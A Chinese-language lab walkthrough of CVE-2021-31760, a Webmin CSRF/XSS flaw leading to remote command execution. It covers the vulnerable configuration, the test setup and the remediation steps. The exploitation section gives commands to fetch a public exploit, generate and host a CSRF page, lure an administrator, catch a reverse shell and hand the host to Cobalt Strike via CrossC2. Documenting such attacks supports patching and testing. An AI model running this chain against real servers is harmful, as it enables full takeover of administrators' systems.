CVE-2021-31760 Webmin 跨站请求伪造漏洞
字数 1433 2025-08-12 11:33:41
Webmin 跨站请求伪造漏洞 (CVE-2021-31760) 分析与利用指南
漏洞概述
Webmin 是一个基于 Web 的界面,用于类 Unix 系统的管理工具。该漏洞存在于 Webmin 1.973 及更低版本中,当使用 setup.pl 脚本安装 Webmin 时,会出现 XSS 和 CSRF 漏洞组合,可能导致服务器被完全控制。
漏洞类型:跨站请求伪造 (CSRF) 结合跨站脚本 (XSS)
CVSS 评分:高危漏洞
影响范围:Webmin 版本 ≤1.973 且使用 setup.pl 脚本安装的情况
漏洞原理
-
CSRF 漏洞根源:使用 setup.pl 脚本安装的 Webmin 默认不会启用检查未知引用的程序,即
/etc/webmin/config文件中缺少referers_none=1配置项,导致缺乏 Referer 字段验证。 -
XSS 漏洞利用:攻击者可以构造恶意请求,通过
/proc/run.cgi的 cmd 参数提交命令执行代码。 -
攻击链:CSRF + XSS → 命令执行 → 服务器控制
漏洞条件
-
服务器条件:
- Webmin 版本 ≤1.973
- 使用 setup.pl 脚本安装
/etc/webmin/config中referers_none=0或未设置
-
客户端条件:
- 管理员已登录 Webmin 且未退出
- 管理员以 root 身份登录
- 管理员在保持登录状态下访问攻击者构造的恶意页面
环境搭建
目标环境配置
-
下载 Webmin 1.973:
wget http://prdownloads.sourceforge.net/webadmin/webmin_1.973_all.deb -
安装依赖:
apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python unzip -
安装 Webmin:
dpkg -i webmin_1.973_all.deb -
手动创建漏洞环境(如使用 deb 安装默认安全):
- 修改
/etc/webmin/config文件,将referers_none=1改为referers_none=0
- 修改
测试环境说明
- 攻击机:192.168.91.135 (Kali Linux 2021)
- 目标机:192.168.91.137 (Ubuntu 18.04 Desktop)
- Webmin 访问地址:https://192.168.91.137:10000
漏洞利用步骤
1. 获取漏洞利用脚本
git clone https://github.com/electronicbots/CVE-2021-31760
# 或备用源
git clone https://github.com/sukusec301/CVE-2021-31760
2. 生成 CSRF PoC
cd CVE-2021-31760
python3 RCE_eXploit.py
按照提示输入:
- 目标 IP
- 攻击机 IP
- 监听端口
- 反弹 shell 类型
脚本将生成 CSRF_POC.html 文件。
3. 启动 HTTP 服务
python3 -m http.server 5555
4. 诱导管理员访问
在管理员保持 Webmin 登录状态下,诱导其访问:
http://攻击机IP:5555/CSRF_POC.html
5. 获取反弹 shell
攻击机监听指定端口,将收到目标机器的 bash 反弹 shell。
6. 升级到 Cobalt Strike
-
启动 CS 服务:
nohup ./teamserver 192.168.91.135 mima & ./cobaltstrike & -
安装 CrossC2 插件(使 CS 支持 Linux 上线):
- 下载:https://github.com/gloxec/CrossC2
- 导入到 Cobalt Strike
-
将获得的 shell 转换为交互式 shell:
python3 -c "import pty;pty.spawn('/bin/bash')" -
使用 CrossC2 生成上线命令,使目标上线。
漏洞修复建议
-
首要修复方案:
- 升级 Webmin 到 1.973 以上版本
-
次选方案:
- 使用标准 RPM、Deb、TAR 或 Solaris 软件包安装,避免使用 setup.pl 脚本
-
临时缓解措施:
- 在
/etc/webmin/config中添加referers_none=1配置项
- 在